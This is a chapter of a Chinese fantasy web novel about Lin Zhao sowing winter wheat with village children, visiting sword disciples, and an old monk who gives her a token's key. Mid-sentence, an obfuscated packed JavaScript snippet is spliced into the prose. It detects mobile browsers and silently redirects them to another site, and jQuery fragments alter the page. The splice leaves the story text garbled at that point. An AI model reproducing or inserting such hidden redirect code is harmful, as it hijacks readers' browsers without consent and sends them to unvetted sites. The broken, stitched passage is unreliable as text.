霜降那天,晒谷观下了第一场霜。
晨起时,瓦楞上结了一层薄薄的白,院子里的老井冒着袅袅的白气。林照推开柴扉,呼出的气在冷空气里凝成一小团雾。阿茸从窝里探出头,金角上沾着几粒霜花,它抖了抖身子,霜花簌簌落下。
“该播种了。”林照轻声说。
冬小麦要在霜降前后下种,赶在上冻前扎下根,来年开春才能早早返青。这是老谷头教她的,说麦子跟人一样,根扎得深,才扛得住风雨。
几个孩子已经穿戴整齐等在院子里。李虎扛着锄头,豆苗挎着种子袋,其余五个孩子也各自拿着农具——都是按他们想学的本事配的:想学打铁的黑娃拿着把小锤子,想学木匠的四毛拿着刨子,想学纺织的五娃带着纺锤。虽然现在还用不上,但林照说,工具在手,心就定。
“今天教你们第一课。”林照从豆苗手里接过种子袋,打开,里面是今年留的最饱满的麦种,一粒粒金黄圆润,“怎么选种。”
她在院中的石桌上铺开一块粗布,倒出麦种,教孩子们辨认:“看,这种特别鼓的,是壮种,种下去苗旺;这种稍微瘪一点的,是常种,也能长,但收成差些;这种黑的、破的,是坏种,要挑出来,不能种。”
几个脑袋凑在一起,八只手在麦种堆里翻捡。阳光渐渐升高,霜化了,院子里响起孩子们清脆的童音:
“这个鼓!”
“这个有点黑……”
“豆苗,你拿错了,那是石子!”
林照看着,眼里有笑。她想起自己小时候,老谷头也是这样教她,手把手,一粒粒地挑。那时候她觉得枯燥,现在才明白,这是土地教给她的第一课:认真。
对土地认真,土地才会对你认真。
选种选了一上午。最后挑出三斤壮种,五斤常种,坏种只有一把——今年的麦子长得好。
午后,下地。
三亩麦田已经翻耕过,泥土在秋阳下散发着湿润的气息。林照示范怎么开垄——锄头要稳,力道要匀,沟不能太深也不能太浅。太深了苗出不来,太浅了根扎不牢。
“就像做人。”她一边挥锄一边说,“要有根,但不能埋得太深,忘了抬头看天;要抬头,但不能飘着,忘了脚踩实地。”
孩子们似懂非懂,但都认真看着。
豆苗学得最快,第三垄就开得像模像样了。豆苗力气小,开得浅,林照手把手教他调整力道。黑娃、四毛这些男孩子皮实,闷头干,不一会儿就满头大汗。
播种是最需要耐心的活儿。林照教他们“捻种”——拇指和食指捻起三五粒种子,均匀撒进沟里,不能多不能少。多了苗太密,争养分;少了苗太稀,浪费地。
豆苗蹲在田埂上,小手捻着种子,一粒一粒,认真得像在数珍珠。阳光照在他专注的小脸上,鼻尖沁出细密的汗珠。
“照姐,”他忽然问,“种子在土里,会冷吗?”
林照也蹲下身,抓起一把土:“你摸摸。”
豆苗伸手摸,土是温的。
“大地有地气,冬天再冷,地底下也是暖的。”林照轻声说,“种子在土里,就像娃娃在娘怀里,不冷,安心睡觉,等春天来了,就醒了。”
豆苗似懂非懂地点头,继续捻种。
播种到一半时,天边传来了熟悉的剑啸声。
沈不言回来了。
他不是一个人来的,身后还跟着三个年轻人——两男一女,都穿着云游剑派的青衣,背负长剑,风尘仆仆,但眼神清亮。
“林照。”沈不言落地,脸上带着笑,“师父听说你在教孩子,让我带几个师弟师妹来帮忙——顺便,让他们看看什么叫‘人间剑道’。”
三个年轻人上前行礼。为首的男子二十出头,剑眉星目,叫陆明;另一个男子稍矮,圆脸带笑,叫周通;女子十七八岁,英气勃勃,叫秦溪。
“见过林师叔。”三人齐声道。
林照连忙摆手:“别叫师叔,叫林师姐就行。”
沈不言笑道:“该叫师叔。你虽不是云游剑派弟子,但论‘道’,师父说你在他之上。叫你一声师叔,不亏。”
林照无奈,只好由他们。
三个年轻人都是第一次下山,看什么都新鲜。陆明对李虎开的垄沟很感兴趣,蹲下来仔细看:“这沟开得……有剑意。”
李虎挠头:“我就随便开的……”
“不是随便。”陆明认真道,“你看这沟的走向,顺应地势,不硬拗,这是‘顺势’;深浅均匀,这是‘守中’;间距一致,这是‘有序’。剑道修行,求的不就是顺势、守中、有序吗?”
他说得一本正经,李虎听得云里雾里。
周通对播种更感兴趣,跟着豆苗学捻种。他手大,一捻就是十几粒,撒得乱七八糟。豆苗急了:“周哥哥,不能这么多!”
“那该多少?”
“三到五粒。”豆苗认真地教,“照姐姐说,就像一家人——太挤了吵架,太散了冷清,三五口正好。”
周通若有所思:“所以剑招也不能太密,不能太疏,要留余地……”
秦溪最务实,直接抢过李虎的锄头:“我帮你开垄!”
她运起剑气,一锄下去,沟开得笔直如线,深达一尺。林照赶紧拦住:“太深了太深了!苗出不来的!”
秦溪脸一红:“那……那该多深?”
“三寸。”林照比划,“就像剑,出鞘三分,留七分力。全出了,就没了回旋余地。”
秦溪恍然大悟。
三个云游剑派的弟子,就这样跟着几个孩子,在麦田里学起了种地。沈不言在一旁看着,眼中含笑。
日落时分,三亩地全部种完。
新翻的泥土在夕阳下泛着深褐色的光泽,一条条垄沟整齐排列,像大地的琴弦。孩子们累坏了,坐在田埂上喝水,小脸都红扑扑的。
陆明忽然说:“林师叔,我能……试试用剑意给麦种祝福吗?”
林照一愣:“怎么祝福?”
陆明走到田边,拔出剑。他没有挥砍,只是将剑尖轻轻点在一垄沟的起点,闭目凝神。渐渐地,剑身泛起淡淡的青光,那光顺着垄沟缓缓流淌,像水,像风,流过之处,泥土仿佛更松软了些。
“这是‘春风剑意’。”沈不言低声解释,“陆明师弟最擅长的。不是攻击,是滋养——能让草木长得更好些。”
青光流完整条垄沟,消散。陆明收剑,脸色有些苍白,显然消耗不小。
周通和秦溪也各展所能。周通的剑意温厚如土,能让土壤保持湿润;秦溪的剑意凛冽如霜,据说能杀灭土里过冬的虫卵。
三个年轻人做完这些,都累得坐倒在地,但眼睛亮晶晶的。
“原来剑还能这么用。”秦溪喃喃道。
沈不言看向林照:“师父说,剑道不在杀人,在‘用’。用在战场上,是凶器;用在田地里,就是农具。重要的是持剑的人,想用它做什么。”
林照深深点头。
那天晚上,晒谷观格外热闹。林照做了满满一桌菜——白菜炖豆腐、萝卜烧肉、蒸南瓜,还有一盆金灿灿的玉米面窝头。三个云游剑派的弟子吃得狼吞虎咽,说比山上的灵食好吃多了。
饭后,孩子们围着陆明他们,要听江湖故事。
陆明讲他们如何在西域大漠追杀沙盗,周通讲他们如何在南海帮助渔民抵抗风暴,秦溪讲她如何女扮男装混进土匪窝里救人。故事精彩,孩子们听得眼睛都不眨。
豆苗忽然问:“陆哥哥,你们杀过人吗?”
院子里瞬间安静了。
陆明沉默片刻,点头:“杀过。”
“为什么杀?”
“因为……”陆明看着豆苗清澈的眼睛,忽然不知道该怎么解释。那些“除暴安良”“替天行道”的大道理,在这个十一岁少年面前,显得苍白无力。
林照轻声接话:“因为他们不让人好好活着。就像田里的杂草,不除掉,麦子就长不好。”
豆苗似懂非懂:“那……能不能不杀,把他们变成好人?”
周通苦笑:“有些人,变不了了。”
“为什么变不了?”
这个问题,没人能回答。
最后还是沈不言说:“所以我们要变强。强到不需要杀人,就能让坏人不敢做坏事;强到能让想变好的人,有机会变好。”
孩子们似懂非懂,但都记住了这句话。
夜深了,孩子们睡去。三个云游弟子在厢房打地铺,很快响起均匀的呼吸声。
林照和沈不言坐在院子的老槐树下。
“他们明天就走?”林照问。
“嗯。”沈不言点头,“云游云游,不能久留。但他们说,以后每年播种时节,都会来帮忙——这是他们自己要求的。”
林照笑了:“你这师兄当得好,师弟师妹都愿意来种地。”
“不是我的功劳。”沈不言望着星空,“是他们自己看到了——剑握在手里,不一定非要指向敌人。指向土地,也能长出东西来。”
沉默片刻,他忽然说:“林照,我想在晒谷观住一段时间。”
林照一怔。
“不是长久。”沈不言解释,“师父说,我的剑道到了瓶颈,需要‘沉淀’。我想来你这儿,跟你学种地,跟孩子们学认真。或许……能找到突破的契机。”
林照看着他认真的眼神,点头:“好。东厢房还空着一间,你住。”
沈不言笑了,那笑容在月光下很干净。
沈不言住下的第三天,晒谷观来了位意外的客人。
是个老和尚。
老和尚很老,眉毛胡子都白了,穿着一件洗得发白的灰色僧衣,赤着脚,背着一个破旧的褡裢。他来时正是晌午,太阳很大,他额头上却一滴汗也没有。
林照在院子里晒药,见老和尚站在观门口,连忙迎上去:“大师从哪来?要化缘吗?”
老和尚双手合十:“阿弥陀佛。贫僧从西域金刚寺来,途经此地,见此处地气祥和,特来讨碗水喝。”
林照请他进院,倒了碗凉茶。老和尚接过,不急着喝,先
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233502|197631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
环顾四周,目光在七个孩子身上停留片刻,又在沈不言身上顿了顿,最后落在林照脸上。
“女施主,”他缓缓开口,“你身上有‘守土令’的气息。”
林照心中一震,表面不动声色:“大师说什么?”
老和尚笑了,从褡裢里掏出一物——是枚佛珠,木质,已经盘得油亮。他将佛珠放在石桌上,佛珠竟自己滚动起来,滚向林照,停在她手边。
“守土令遇同源之物,会有感应。”老和尚说,“贫僧的师父,三百年前也是守土人。”
林照愣住了。
老和尚慢慢喝茶,讲了个故事。
三百年前,西域大旱,赤地千里。有个游方僧人路过,见百姓易子而食,心生悲悯,便在沙漠中结庐而居,日日诵经祈雨。三年后,天降甘霖,沙漠边缘竟长出了一片绿洲。那僧人便留在绿洲,教人耕种,引水灌溉,渐渐聚成一个村落。
后来仙山现世,天梯开启,僧人也去了。但他没有选飞升道,也没有选问道途,选了回家路——回到那片绿洲,继续教人种树、打井、活命。
“那就是贫僧的师父。”老和尚说,“他临终前将守土令传给了我,说‘此令不传佛门,传有缘人’。我找了三十年,今天找到了。”
林照看着手边的佛珠,又看看老和尚:“大师的意思是……”
“守土令该给你。”老和尚从怀中取出一物——是枚和陈砚他们一样的木腰牌,但更旧,边角都磨圆了,上面刻的不是“云”字,是个“土”字。
“这是我师父的腰牌,也是守土令的‘钥匙’。”老和尚将腰牌递给林照,“守土令不止能感应地脉,还能……调动地脉。但需要钥匙开启更深层的权能。”
林照接过腰牌。入手温润,木质已经玉化,透着岁月的厚重感。
“为什么要给我?”她问。
“因为你在做我师父当年做的事。”老和尚微笑,“守一片土,养一方人,让平凡的生命能有尊严地活着。这就是守土人的道。”
他站起身,喝完最后一口茶:“茶很好,多谢女施主。贫僧该走了。”
“大师要去哪?”
“继续云游。”老和尚背起褡裢,“去看看这人间,还有多少像你这样的人,在默默守着脚下的土地。”
他赤着脚走出观门,夕阳将他的影子拉得很长。
林照握着那枚木腰牌,久久未动。
沈不言走到她身边:“看来,守土人不止你一个。”
“嗯。”林照点头,“老谷头是,那个僧人是,或许……还有很多我们不知道的人。”
她忽然觉得肩上的担子轻了些——不是真的轻了,是知道有人同行的那种踏实。
老和尚走后的第七天,晒谷观迎来了第一场冬雨。
雨不大,淅淅沥沥的,从早下到晚。林照带着孩子们在廊下看雨,教他们听雨声辨雨势——“小雨润土,中雨洗尘,大雨伤苗。就像人说话,轻声细语能入心,大吼大叫只能吓人。”
豆苗听得认真,忽然问:“照姐,雨是从哪来的?”
这个问题把林照问住了。
她想说是云,但云从哪来?想说是水汽蒸腾,但水汽从哪来?最后只能说:“雨是从很远的地方来的,翻山越岭,就为了落到我们这块田里,让麦子喝饱水。”
豆苗似懂非懂,但很满意这个答案。
雨停后,林照去田里看麦种。泥土湿润松软,垄沟里已经能看到极细的白色根须——麦种开始发芽了。
她蹲下身,轻轻拨开一点土,看见嫩黄的芽尖正在努力向上顶。很柔弱,但很坚定。
就像那些孩子。
就像这片土地上,所有在艰难中依然向上生长的生命。
林照将土轻轻盖回去,轻声说:“慢慢长,不急。冬天还长,春天总会来的。”
她站起身,望向远方。
群山如黛,天空如洗。晒谷观的炊烟在雨后的清新空气里笔直上升,像在告诉这片天地:这里有人家,这里有生活,这里有生生不息的希望。
而更远的地方,陈砚应该在青州的商行里打算盘,李慕云应该在北地的矿洞里举着油灯,青禾应该在某个善堂里给人看病,炎烁应该在赤焰谷教师弟师妹控火,陆明他们应该在某个不知名的小镇行侠仗义……
每个人都走在自己的路上。
但他们的根,都扎在这片土地上。
林照忽然明白了守土令真正的意义——不是要你守着一亩三分地不动,是要你无论走到哪里,都记得自己从哪里来,要回哪里去。
记得有一片土地,等你回去播种、收割、生活。
记得有一些人,等你回去相见、相守、相护。
这就够了。
她走回观里,孩子们正在跟沈不言学认字。
声音稚嫩,但坚定。
林照站在廊下听着,眼里有温热的液体涌上来。
她抬头看天。
云散了,露出一角湛蓝。
明天,该是个晴天。